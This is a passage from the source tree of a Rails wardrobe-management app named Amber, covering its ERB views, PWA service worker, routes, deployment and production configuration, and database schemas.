  <div class="item-grid"><%= render @outfit.items %></div>
</section>

<section>
  <h2>Style intelligence</h2>
  <p class="dim">Use this outfit as a signal for future capsules, weather-aware recommendations, event styling, and declutter decisions.</p>
</section>

<nav>
  <%= button_to "Like (#{@outfit.likes_count.to_i})", like_outfit_path(@outfit), method: :post, class: "btn" %>
  <%= button_to "Share to brgen", share_outfit_path(@outfit), method: :post, class: "btn" %>
  <%= button_to "Wear again", wear_outfit_path(@outfit), method: :post, class: "btn" %>
  <%= link_to "Edit", edit_outfit_path(@outfit), class: "btn" %>
  <%= link_to "All outfits", outfits_path, class: "btn" %>
  <%= button_to "Delete", @outfit, method: :delete, data: { turbo_confirm: "Delete?" }, class: "btn btn-danger" %>
</nav>

rails/amber/app/views/passwords/edit.html.erb

<div class="auth-form">
  <h1>New password</h1>
  <%= form_with model: @user, url: password_path(params[:token]), method: :put do |f| %>
    <div class="field">
      <%= f.label :password, "New password" %>
      <%= f.password_field :password, autocomplete: "new-password" %>
    </div>
    <div class="field">
      <%= f.label :password_confirmation, "Confirm password" %>
      <%= f.password_field :password_confirmation, autocomplete: "new-password" %>
    </div>
    <div class="actions">
      <%= f.submit "Set password", class: "btn btn--primary" %>
    </div>
  <% end %>
</div>

rails/amber/app/views/passwords/new.html.erb

<div class="auth-form">
  <h1>Reset password</h1>
  <%= form_with url: passwords_path do |f| %>
    <div class="field">
      <%= f.label :email_address, "Email" %>
      <%= f.email_field :email_address, autofocus: true, autocomplete: "email" %>
    </div>
    <div class="actions">
      <%= f.submit "Send reset link", class: "btn btn--primary" %>
    </div>
  <% end %>
</div>

rails/amber/app/views/passwords_mailer/reset.html.erb

<p>
  You can reset your password on
  <%= link_to "this password reset page", edit_password_url(@user.password_reset_token) %>.

  This link will expire in <%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.
</p>

rails/amber/app/views/passwords_mailer/reset.text.erb

You can reset your password on
<%= edit_password_url(@user.password_reset_token) %>

This link will expire in <%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.

rails/amber/app/views/planned_outfits/index.html.erb

<% content_for :title, "Planner" %>
<%= turbo_stream_from "planned_outfits" %>
<h1>Outfit Planner</h1>
<%= form_with model: PlannedOutfit.new, url: planned_outfits_path do |f| %>
  <div class="field-row">
    <%= f.date_field :planned_date, min: Date.today, class: "input" %>
    <%= f.select :outfit_id, @outfits.map { |o| [o.name, o.id] }, { include_blank: "Select outfit…" } %>
    <%= f.text_field :notes, placeholder: "Notes…" %>
    <%= f.submit "Plan it", class: "btn" %>
  </div>
<% end %>
<div class="plan-list">
  <% @planned.each do |plan| %>
    <div class="plan-row">
      <span class="plan-date"><%= plan.planned_date.strftime("%A %-d %b") %></span>
      <%= link_to plan.outfit.name, plan.outfit %>
      <% if plan.notes.present? %><span class="dim"><%= plan.notes %></span><% end %>
      <%= button_to "✕", planned_outfit_path(plan), method: :delete, class: "btn-link" %>
    </div>
  <% end %>
  <% if @planned.empty? %>
    <p class="dim">No outfits planned yet.</p>
  <% end %>
</div>

rails/amber/app/views/posts/_post.html.erb

<article>
  <header>
    <%= link_to post.user.email_address.split("@").first, user_path(post.user) %>
    <time datetime="<%= post.created_at.iso8601 %>"><%= time_ago_in_words(post.created_at) %> ago</time>
  </header>
  <p><%= post.body %></p>
  <% if post.outfit %><p><em>Outfit: <%= link_to post.outfit.name, outfit_path(post.outfit) %></em></p><% end %>
  <% if post.item %><p><em>Item: <%= link_to post.item.title, item_path(post.item) %></em></p><% end %>
  <footer>
    <%= button_to "♥ #{post.likes_count}", like_post_path(post), method: :post %>
    <% if post.user == Current.user %>
      <%= button_to "Delete", post_path(post), method: :delete, data: { turbo_confirm: "Delete?" } %>
    <% end %>
  </footer>
</article>

rails/amber/app/views/posts/feed.html.erb

<h1>Your Feed</h1>
<%= link_to "New post", new_post_path, class: "btn" %>
<%= render @posts %>
<%= pagy_nav(@pagy) if @pagy.pages > 1 %>

rails/amber/app/views/posts/index.html.erb

<%= turbo_stream_from "posts" %>
<h1>Community</h1>
<%= render @posts %>
<%= pagy_nav(@pagy) if @pagy.pages > 1 %>

rails/amber/app/views/posts/new.html.erb

<h1>Share a look</h1>
<%= form_with model: @post do |f| %>
  <%= render "shared/errors", object: @post %>
  <div class="field">
    <%= f.label :body, "What are you wearing?" %>
    <%= f.text_area :body, rows: 3, maxlength: 500, placeholder: "Share your outfit…" %>
  </div>
  <div class="field">
    <%= f.label :outfit_id, "Tag an outfit (optional)" %>
    <%= f.select :outfit_id, Current.user.outfits.map { |o| [o.name, o.id] }, { include_blank: "—" } %>
  </div>
  <div class="field">
    <%= f.label :item_id, "Tag an item (optional)" %>
    <%= f.select :item_id, Current.user.items.map { |i| [i.title, i.id] }, { include_blank: "—" } %>
  </div>
  <div class="actions"><%= f.submit "Post", class: "btn btn--primary" %></div>
<% end %>

rails/amber/app/views/posts/show.html.erb

<%= turbo_stream_from @post %>
<%= render @post %>
<%= link_to 'Back', posts_path %>

rails/amber/app/views/pwa/manifest.json.erb

{
  "name": "Amber",
  "short_name": "Amber",
  "icons": [
    {
      "src": "/icon-192.png",
      "type": "image/png",
      "sizes": "192x192"
    },
    {
      "src": "/icon.png",
      "type": "image/png",
      "sizes": "512x512"
    },
    {
      "src": "/icon.png",
      "type": "image/png",
      "sizes": "512x512",
      "purpose": "maskable"
    }
  ],
  "start_url": "/",
  "display": "standalone",
  "scope": "/",
  "description": "AI wardrobe management. Build capsule wardrobes, plan outfits, and discover your personal style.",
  "theme_color": "#1a1a1a",
  "background_color": "#1a1a1a"
}

rails/amber/app/views/pwa/service-worker.js

const CACHE   = "amber-v2"
const OFFLINE = "/offline"

self.addEventListener("install", e => {
  e.waitUntil(caches.open(CACHE).then(c => c.addAll(["/", OFFLINE])))
  self.skipWaiting()
})

self.addEventListener("activate", e => {
  e.waitUntil(caches.keys().then(keys =>
    Promise.all(keys.filter(k => k !== CACHE).map(k => caches.delete(k)))
  ))
  self.clients.claim()
})

self.addEventListener("fetch", e => {
  if (e.request.method !== "GET") return
  const url = new URL(e.request.url)
  const isNav = e.request.mode === "navigate"
  const isAsset = /\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)
  if (isAsset) {
    e.respondWith(caches.match(e.request).then(cached => cached || fetch(e.request).then(res => {
      const clone = res.clone()
      caches.open(CACHE).then(c => c.put(e.request, clone))
      return res
    })))
  } else if (isNav) {
    e.respondWith(fetch(e.request).catch(() => caches.match(OFFLINE)))
  }
})

rails/amber/app/views/registrations/new.html.erb

<div class="auth-form">
  <h1>Create account</h1>
  <%= form_with model: User.new, url: registration_path do |f| %>
    <div class="field">
      <%= f.label :email_address, "Email" %>
      <%= f.email_field :email_address, autofocus: true, autocomplete: "email" %>
    </div>
    <div class="field">
      <%= f.label :password %>
      <%= f.password_field :password, autocomplete: "new-password" %>
    </div>
    <div class="field">
      <%= f.label :password_confirmation, "Confirm password" %>
      <%= f.password_field :password_confirmation, autocomplete: "new-password" %>
    </div>
    <div class="actions">
      <%= f.submit "Create account", class: "btn btn--primary" %>
    </div>
    <p><%= link_to "Already have an account? Sign in", new_session_path %></p>
  <% end %>
</div>

rails/amber/app/views/sessions/new.html.erb

<div class="auth-form">
  <h1>Sign in</h1>
  <%= form_with url: session_path do |f| %>
    <%= render "shared/errors", object: f.object if f.object.respond_to?(:errors) %>
    <div class="field">
      <%= f.label :email_address, "Email" %>
      <%= f.email_field :email_address, autofocus: true, autocomplete: "email" %>
    </div>
    <div class="field">
      <%= f.label :password %>
      <%= f.password_field :password, autocomplete: "current-password" %>
    </div>
    <div class="actions">
      <%= f.submit "Sign in", class: "btn btn--primary" %>
    </div>
    <p><%= link_to "Forgot password?", new_password_path %></p>
  <% end %>
</div>

rails/amber/app/views/shared/_errors.html.erb

<% if object.errors.any? %>
  <div class="errors">
    <% object.errors.full_messages.each do |msg| %>
      <p class="error-msg"><%= msg %></p>
    <% end %>
  </div>
<% end %>

rails/amber/app/views/shared/_flash.html.erb

<% flash.each do |type, msg| %>
  <div class="flash flash--<%= type %>"><%= msg %></div>
<% end %>

rails/amber/app/views/shared/_logo.html.erb

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 500" role="img" aria-label="Amber">
  <defs>
    <path id="swoosh-path" d="M50,220 C250,180 750,180 950,220"/>
    <clipPath id="text-mask-1">
      <text font-family="'Caprasimo', Arial, sans-serif" letter-spacing="-3" stroke="none">
        <textPath href="#swoosh-path" startOffset="2%">amber<tspan dx="10" dy="-40" stroke="none">®</tspan></textPath>
      </text>
    </clipPath>
  </defs>
  <g clip-path="url(#text-mask-1)">
    <foreignObject x="0" y="100" width="1000" height="300">
      <div xmlns="http://www.w3.org/1999/xhtml" class="amber-logo-gradient"></div>
    </foreignObject>
  </g>
  <path stroke="#FFFFFF" stroke-width="0.5" fill="none" d="M50,180 C200,100 400,200 600,100 S850,160 950,130"/>
  <path stroke="#FFFFFF" stroke-width="1"   fill="none" d="M50,195 C200,115 400,215 600,115 S850,175 950,145"/>
  <path stroke="#FFFFFF" stroke-width="1.5" fill="none" d="M50,205 C200,125 400,225 600,125 S850,185 950,155"/>
  <path stroke="#FFFFFF" stroke-width="2"   fill="none" d="M50,213 C200,133 400,233 600,133 S850,193 950,163"/>
  <path stroke="#FFFFFF" stroke-width="2.5" fill="none" d="M50,220 C200,140 400,240 600,140 S850,200 950,170"/>
  <path stroke="#FFFFFF" stroke-width="3"   fill="none" d="M50,226 C200,146 400,246 600,146 S850,206 950,176"/>
  <path stroke="#FFFFFF" stroke-width="3"   fill="none" d="M50,231 C200,151 400,251 600,151 S850,211 950,181"/>
  <path stroke="#FFFFFF" stroke-width="3.5" fill="none" d="M50,235 C200,155 400,255 600,155 S850,215 950,185"/>
  <path stroke="#FFFFFF" stroke-width="4"   fill="none" d="M50,238 C200,158 400,258 600,158 S850,218 950,188"/>
</svg>

rails/amber/app/views/shared/_pagination.html.erb

<%= pagy_nav(pagy) if pagy.pages > 1 %>

rails/amber/app/views/users/show.html.erb

<%= turbo_stream_from @user %>
<header class="profile-header">
  <h1><%= @user.email_address.split("@").first %></h1>
  <p><%= @user.items.count %> items · <%= @user.followers.count %> followers · <%= @user.following.count %> following</p>
  <% if authenticated? && Current.user != @user %>
    <% if Current.user.following?(@user) %>
      <%= button_to "Unfollow", unfollow_user_path(@user), method: :delete, class: "btn" %>
    <% else %>
      <%= button_to "Follow", follow_user_path(@user), method: :post, class: "btn btn--primary" %>
    <% end %>
  <% end %>
</header>
<h2>Recent items</h2>
<div class="item-grid">
  <% @items.each do |item| %>
    <%= link_to item_path(item) do %>
      <% if item.photos.attached? %>
        <%= image_tag item.photos.first, alt: item.title %>
      <% else %>
        <div class="item-placeholder"><%= item.category %></div>
      <% end %>
      <p><%= item.title %></p>
    <% end %>
  <% end %>
</div>
<h2>Posts</h2>
<%= render @posts %>

rails/amber/app/views/wardrobe_items/_form.html.erb

<%= form_with model: wardrobe_item do |form| %>
  <% if wardrobe_item.errors.any? %>
    <%= tag.section role: "alert" do %>
      <%= tag.h2 t("shared.errors", count: wardrobe_item.errors.count, default: "Please review the form") %>
      <%= tag.ul do %>
        <% wardrobe_item.errors.full_messages.each do |message| %>
          <%= tag.li message %>
        <% end %>
      <% end %>
    <% end %>
  <% end %>

  <%= tag.fieldset do %>
    <%= form.label :item_id %>
    <%= form.number_field :item_id, required: true %>
  <% end %>

  <%= tag.fieldset do %>
    <%= form.label :condition %>
    <%= form.select :condition, WardrobeItem::CONDITIONS, include_blank: true %>
  <% end %>

  <%= tag.fieldset do %>
    <%= form.label :acquisition_date %>
    <%= form.date_field :acquisition_date %>
  <% end %>

  <%= tag.fieldset do %>
    <%= form.label :notes %>
    <%= form.text_area :notes, rows: 4, data: { controller: "textarea-autogrow" } %>
  <% end %>

  <%= form.submit %>
<% end %>

rails/amber/app/views/wardrobe_items/edit.html.erb

<% content_for :title, t("amber.wardrobe.edit", default: "Edit wardrobe item") %>

<%= tag.section class: "wardrobe-form" do %>
  <%= tag.h1 t("amber.wardrobe.edit", default: "Edit wardrobe item") %>
  <%= render "form", wardrobe_item: @wardrobe_item %>
<% end %>

rails/amber/app/views/wardrobe_items/index.html.erb

<% content_for :title, t("amber.wardrobe.title", default: "Wardrobe") %>

<%= tag.section class: "wardrobe-items" do %>
  <%= tag.header do %>
    <%= tag.h1 t("amber.wardrobe.title", default: "Wardrobe") %>
    <%= link_to t("amber.wardrobe.add", default: "Add item"), new_wardrobe_item_path %>
  <% end %>

  <% if @wardrobe_items.any? %>
    <%= tag.div class: "wardrobe-grid" do %>
      <% @wardrobe_items.each do |wardrobe_item| %>
        <%= tag.article class: "wardrobe-card" do %>
          <%= tag.h2 wardrobe_item.item&.title || wardrobe_item.item&.name || t("amber.wardrobe.untitled", default: "Untitled item") %>
          <%= tag.p wardrobe_item.condition if wardrobe_item.condition.present? %>
          <%= tag.p wardrobe_item.notes if wardrobe_item.notes.present? %>
          <%= link_to t("shared.view", default: "View"), wardrobe_item_path(wardrobe_item) %>
        <% end %>
      <% end %>
    <% end %>
  <% else %>
    <%= tag.p t("amber.wardrobe.empty", default: "No wardrobe items yet.") %>
  <% end %>
<% end %>

rails/amber/app/views/wardrobe_items/new.html.erb

<% content_for :title, t("amber.wardrobe.new", default: "Add wardrobe item") %>

<%= tag.section class: "wardrobe-form" do %>
  <%= tag.h1 t("amber.wardrobe.new", default: "Add wardrobe item") %>
  <%= render "form", wardrobe_item: @wardrobe_item %>
<% end %>

rails/amber/config/application.rb

# frozen_string_literal: true

require_relative "boot"

require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
require "rails/test_unit/railtie"

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

module App
  class Application < Rails::Application
    # Initialize configuration defaults for originally generated Rails version.
    config.load_defaults 8.1

    # Please, add to the `ignore` list any other `lib` subdirectories that do
    # not contain `.rb` files, or that should not be reloaded or eager loaded.
    # Common ones are `templates`, `generators`, or `middleware`, for example.
    config.autoload_lib(ignore: %w[assets tasks])

    # Configuration for the application, engines, and railties goes here.
    #
    # These settings can be overridden in specific environments using the files
    # in config/environments, which are processed later.
    #
    # config.time_zone = "Central Time (US & Canada)"
    # config.eager_load_paths << Rails.root.join("extras")

    # Don't generate system test files.
    config.generators.system_tests = nil
  end
end

rails/amber/config/cable.yml

# Async adapter only works within the same process, so for manually triggering cable updates from a console,
# and seeing results in the browser, you must do so from the web console (running inside the dev process),
# not a terminal started via bin/rails console! Add "console" to any action or any ERB template view
# to make the web console appear.
development:
  adapter: async

test:
  adapter: test

production:
  adapter: solid_cable
  connects_to:
    database:
      writing: cable
  polling_interval: 0.1.seconds
  message_retention: 1.day

rails/amber/config/cache.yml

default: &default
  store_options:
    # Cap age of oldest cache entry to fulfill retention policies
    # max_age: <%= 60.days.to_i %>
    max_size: <%= 256.megabytes %>
    namespace: <%= Rails.env %>

development:
  <<: *default

test:
  <<: *default

production:
  database: cache
  <<: *default

rails/amber/config/database.yml

# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  max_connections: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

# Store production database in the storage/ directory, which by default
# is mounted as a persistent Docker volume in config/deploy.yml.
production:
  primary:
    <<: *default
    database: storage/production.sqlite3
  cache:
    <<: *default
    database: storage/production_cache.sqlite3
    migrations_paths: db/cache_migrate
  queue:
    <<: *default
    database: storage/production_queue.sqlite3
    migrations_paths: db/queue_migrate
  cable:
    <<: *default
    database: storage/production_cable.sqlite3
    migrations_paths: db/cable_migrate

rails/amber/config/deploy.yml

# Name of your application. Used to uniquely configure containers.
service: app

# Name of the container image (use your-user/app-name on external registries).
image: app

# Deploy to these servers.
servers:
  web:
    - 192.168.0.1
  # job:
  #   hosts:
  #     - 192.168.0.1
  #   cmd: bin/jobs

# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.
# If used with Cloudflare, set encryption mode in SSL/TLS setting to "Full" to enable CF-to-app encryption.
#
# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.
#
# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).
#
# proxy:
#   ssl: true
#   host: amber.brgen.no

# Where you keep your container images.
registry:
  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...
  server: localhost:5555

  # Needed for authenticated registries.
  # username: your-user

  # Always use an access token rather than real password when possible.
  # password:
  #   - KAMAL_REGISTRY_PASSWORD

# Inject ENV variables into containers (secrets come from .kamal/secrets).
env:
  secret:
    - RAILS_MASTER_KEY
  clear:
    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.
    # When you start using multiple servers, you should split out job processing to a dedicated machine.
    SOLID_QUEUE_IN_PUMA: true

    # Set number of processes dedicated to Solid Queue (default: 1)
    # JOB_CONCURRENCY: 3

    # Set number of cores available to the application on each server (default: 1).
    # WEB_CONCURRENCY: 2

    # Match this to any external database server to configure Active Record correctly
    # Use app-db for a db accessory server on same machine via local kamal docker network.
    # DB_HOST: 192.168.0.2

    # Log everything from Rails
    # RAILS_LOG_LEVEL: debug

# Aliases are triggered with "bin/kamal <alias>". You can overwrite arguments on invocation:
# "bin/kamal logs -r job" will tail logs from the first server in the job section.
aliases:
  console: app exec --interactive --reuse "bin/rails console"
  shell: app exec --interactive --reuse "bash"
  logs: app logs -f
  dbc: app exec --interactive --reuse "bin/rails dbconsole --include-password"

# Use a persistent storage volume for sqlite database files and local Active Storage files.
# Recommended to change this to a mounted volume path that is backed up off server.
volumes:
  - "app_storage:/rails/storage"

# Bridge fingerprinted assets, like JS and CSS, between versions to avoid
# hitting 404 on in-flight requests. Combines all files from new and old
# version inside the asset_path.
asset_path: /rails/public/assets

# Configure the image builder.
builder:
  arch: amd64

  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)
  # remote: ssh://docker@docker-builder-server
  #
  # # Pass arguments and secrets to the Docker build process
  # args:
  #   RUBY_VERSION: ruby-3.4.9
  # secrets:
  #   - GITHUB_TOKEN
  #   - RAILS_MASTER_KEY

# Use a different ssh user than root
# ssh:
#   user: app

# Use accessory services (secrets come from .kamal/secrets).
# accessories:
#   db:
#     image: mysql:8.0
#     host: 192.168.0.2
#     # Change to 3306 to expose port to the world instead of just local network.
#     port: "127.0.0.1:3306:3306"
#     env:
#       clear:
#         MYSQL_ROOT_HOST: '%'
#       secret:
#         - MYSQL_ROOT_PASSWORD
#     files:
#       - config/mysql/production.cnf:/etc/mysql/my.cnf
#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql
#     directories:
#       - data:/var/lib/mysql
#   redis:
#     image: valkey/valkey:8
#     host: 192.168.0.2
#     port: 6379
#     directories:
#       - data:/data

rails/amber/config/environments/production.rb

# frozen_string_literal: true

require "active_support/core_ext/integer/time"

Rails.application.configure do
  # Settings specified here will take precedence over those in config/application.rb.

  # Code is not reloaded between requests.
  config.enable_reloading = false

  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).
  config.eager_load = true

  # Full error reports are disabled.
  config.consider_all_requests_local = false

  # Turn on fragment caching in view templates.
  config.action_controller.perform_caching = true

  # Cache assets for far-future expiry since they are all digest stamped.
  config.public_file_server.headers = { "cache-control" => "public, max-age=#{1.year.to_i}" }

  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
  # config.asset_host = "http://assets.example.com"

  # Store uploaded files on the local file system (see config/storage.yml for options).
  config.active_storage.service = :local

  # Assume all access to the app is happening through a SSL-terminating reverse proxy.
  config.assume_ssl = true

  # TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.
  # config.force_ssl = true

  # Skip http-to-https redirect for the default health check endpoint.
  # config.ssl_options = { redirect: { exclude: ->(request) { request.path == "/up" } } }

  # Log to STDOUT with the current request id as a default log tag.
  config.log_tags = [ :request_id ]
  config.logger   = ActiveSupport::TaggedLogging.logger(STDOUT)

  # Change to "debug" to log everything (including potentially personally-identifiable information!).
  config.log_level = ENV.fetch("RAILS_LOG_LEVEL", "info")

  # Prevent health checks from clogging up the logs.
  config.silence_healthcheck_path = "/up"

  # Don't log any deprecations.
  config.active_support.report_deprecations = false

  # Replace the default in-process memory cache store with a durable alternative.
  config.cache_store = :solid_cache_store

  # Replace the default in-process and non-durable queuing backend for Active Job.
  config.active_job.queue_adapter = :solid_queue
  config.solid_queue.connects_to = { database: { writing: :queue } }

  # Ignore bad email addresses and do not raise email delivery errors.
  # Set this to true and configure the email server for immediate delivery to raise delivery errors.
  # config.action_mailer.raise_delivery_errors = false

  # Set host to be used by links generated in mailer templates.
  config.action_mailer.default_url_options = { host: "amber.brgen.no", protocol: "https" }

  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.
  # config.action_mailer.smtp_settings = {
  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),
  #   password: Rails.application.credentials.dig(:smtp, :password),
  #   address: "smtp.example.com",
  #   port: 587,
  #   authentication: :plain
  # }

  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
  # the I18n.default_locale when a translation cannot be found).
  config.i18n.fallbacks = true

  # Do not dump schema after migrations.
  config.active_record.dump_schema_after_migration = false

  # Only use :id for inspections in production.
  config.active_record.attributes_for_inspect = [ :id ]

  config.hosts = ["amber.brgen.no"]
  config.host_authorization = { exclude: ->(request) { request.path == "/up" } }
end

rails/amber/config/falcon.rb

# frozen_string_literal: true

load :rack, :supervisor

hostname = File.basename(__dir__)
port = ENV.fetch("PORT", 61352).to_i

rack hostname do
  endpoint Async::HTTP::Endpoint.parse("http://0.0.0.0:\#{port}")
end

rails/amber/config/importmap.rb

# frozen_string_literal: true

# Pin npm packages by running ./bin/importmap

pin "application"
pin "@hotwired/turbo-rails", to: "turbo.min.js"
pin "@hotwired/stimulus", to: "@hotwired--stimulus.js" # @3.2.2
pin "@hotwired/stimulus-loading", to: "stimulus-loading.js"
pin_all_from "app/javascript/controllers", under: "controllers"
pin "@stimulus-components/dialog", to: "@stimulus-components--dialog.js" # @1.0.1
pin "@stimulus-components/auto-submit", to: "@stimulus-components--auto-submit.js" # @6.0.0
pin "@stimulus-components/character-counter", to: "@stimulus-components--character-counter.js" # @5.1.0
pin "@stimulus-components/dropdown", to: "@stimulus-components--dropdown.js" # @3.0.0
pin "stimulus-use" # @0.52.3
pin "@stimulus-components/clipboard", to: "@stimulus-components--clipboard.js" # @5.0.0
pin "@stimulus-components/notification", to: "@stimulus-components--notification.js" # @3.0.0
pin "@stimulus-components/timeago", to: "@stimulus-components--timeago.js" # @5.0.2
pin "date-fns" # @4.1.0
pin "@stimulus-components/animated-number", to: "@stimulus-components--animated-number.js" # @5.0.0
pin "@stimulus-components/sortable", to: "@stimulus-components--sortable.js" # @5.0.3
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js" # @0.0.13
pin "@rails/request.js", to: "@rails--request.js.js" # @0.0.13
pin "sortablejs" # @1.15.7

rails/amber/config/initializers/requires.rb

# frozen_string_literal: true

require "net/http"
require "uri"
require "json"

rails/amber/config/puma.rb

# frozen_string_literal: true

# This configuration file will be evaluated by Puma. The top-level methods that
# are invoked here are part of Puma's configuration DSL. For more information
# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
#
# Puma starts a configurable number of processes (workers) and each process
# serves each request in a thread from an internal thread pool.
#
# You can control the number of workers using ENV["WEB_CONCURRENCY"]. You
# should only set this value when you want to run 2 or more workers. The
# default is already 1. You can set it to `auto` to automatically start a worker
# for each available processor.
#
# The ideal number of threads per worker depends both on how much time the
# application spends waiting for IO operations and on how much you wish to
# prioritize throughput over latency.
#
# As a rule of thumb, increasing the number of threads will increase how much
# traffic a given process can handle (throughput), but due to CRuby's
# Global VM Lock (GVL) it has diminishing returns and will degrade the
# response time (latency) of the application.
#
# The default is set to 3 threads as it's deemed a decent compromise between
# throughput and latency for the average Rails application.
#
# Any libraries that use a connection pool or another resource pool should
# be configured to provide at least as many connections as the number of
# threads. This includes Active Record's `pool` parameter in `database.yml`.
threads_count = ENV.fetch("RAILS_MAX_THREADS", 3)
threads threads_count, threads_count

# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
port ENV.fetch("PORT", 3000)

# Allow puma to be restarted by `bin/rails restart` command.
plugin :tmp_restart

# Run the Solid Queue supervisor inside of Puma for single-server deployments.
plugin :solid_queue if ENV["SOLID_QUEUE_IN_PUMA"]

# Specify the PID file. Defaults to tmp/pids/server.pid in development.
# In other environments, only set the PID file if requested.
pidfile ENV["PIDFILE"] if ENV["PIDFILE"]

rails/amber/config/queue.yml

default: &default
  dispatchers:
    - polling_interval: 1
      batch_size: 500
  workers:
    - queues: "*"
      threads: 3
      processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %>
      polling_interval: 0.1

development:
  <<: *default

test:
  <<: *default

production:
  <<: *default

rails/amber/config/recurring.yml

# examples:
#   periodic_cleanup:
#     class: CleanSoftDeletedRecordsJob
#     queue: background
#     args: [ 1000, { batch_size: 500 } ]
#     schedule: every hour
#   periodic_cleanup_with_command:
#     command: "SoftDeletedRecord.due.delete_all"
#     priority: 2
#     schedule: at 5am every day

production:
  clear_solid_queue_finished_jobs:
    command: "SolidQueue::Job.clear_finished_in_batches(sleep_between_batches: 0.3)"
    schedule: every hour at minute 12

rails/amber/config/routes.rb

# frozen_string_literal: true

Rails.application.routes.draw do
  resource :registration, only: %i[new create]

  resource  :session
  resources :passwords, param: :token

  resources :items do
    member do
      post :spark_joy
      post :declutter
      post :wear
    end
    collection do
      post :archive_seasonal
      post :resurface_seasonal
      get :shopping_list
    end
  end

  resources :outfits do
    collection { get :dressing_room }
    member { post :like; patch :reorder; post :share; post :wear }
  end

  resources :planned_outfits, only: %i[index create destroy]

  resources :posts, only: %i[index show new create destroy] do
    member { post :like }
    collection { get :feed }
  end

  resources :users, only: :show do
    member { post :follow; delete :unfollow }
  end

  resources :declutter, only: :index, param: :id do
    member do
      get  :review
      patch :update_review
      post :move
      post :challenge
      post :complete_challenge
      post :outcome
      get  :last_chance
    end
  end

  scope :ai do
    post "items/:id/analyze", to: "ai#analyze_item", as: :ai_analyze_item
    post "items/:id/tag", to: "ai#tag_item", as: :ai_tag_item
    get "outfits/suggest", to: "ai#suggest_outfits", as: :ai_suggest_outfits
    post "outfits/generate", to: "ai#generate_outfit", as: :ai_generate_outfit
    get "declutter", to: "ai#declutter_guide", as: :ai_declutter
    get "capsule", to: "ai#capsule", as: :ai_capsule
    get "palette", to: "ai#color_palette", as: :ai_palette
    get "search", to: "ai#search", as: :ai_search
    get "moodboard", to: "ai#mood_board", as: :ai_mood_board
    get "occasions", to: "ai#occasion_map", as: :ai_occasions
    get "style", to: "ai#style_profile", as: :ai_style_profile
    post "style", to: "ai#style_profile"
    get "pack", to: "ai#packing_list", as: :ai_packing_list
  end

  root "home#index"
  get 'manifest' => 'rails/pwa#manifest', as: :pwa_manifest
  get 'service-worker' => 'rails/pwa#service_worker', as: :pwa_service_worker
  get "up", to: "rails/health#show", as: :rails_health_check
end

rails/amber/db/cable_schema.rb

# frozen_string_literal: true

ActiveRecord::Schema[7.1].define(version: 1) do
  create_table "solid_cable_messages", force: :cascade do |t|
    t.binary "channel", limit: 1024, null: false
    t.binary "payload", limit: 536870912, null: false
    t.datetime "created_at", null: false
    t.integer "channel_hash", limit: 8, null: false
    t.index ["channel"], name: "index_solid_cable_messages_on_channel"
    t.index ["channel_hash"], name: "index_solid_cable_messages_on_channel_hash"
    t.index ["created_at"], name: "index_solid_cable_messages_on_created_at"
  end
end

rails/amber/db/cache_schema.rb

# frozen_string_literal: true

ActiveRecord::Schema[7.2].define(version: 1) do
  create_table "solid_cache_entries", force: :cascade do |t|
    t.binary "key", limit: 1024, null: false
    t.binary "value", limit: 536870912, null: false
    t.datetime "created_at", null: false
    t.integer "key_hash", limit: 8, null: false
    t.integer "byte_size", limit: 4, null: false
    t.index ["byte_size"], name: "index_solid_cache_entries_on_byte_size"
    t.index ["key_hash", "byte_size"], name: "index_solid_cache_entries_on_key_hash_and_byte_size"
    t.index ["key_hash"], name: "index_solid_cache_entries_on_key_hash", unique: true
  end
end

rails/amber/db/migrate/20260504180350_create_users.rb

# frozen_string_literal: true

class CreateUsers < ActiveRecord::Migration[8.1]
  def change
    create_table :users do |t|
      t.string :email_address, null: false
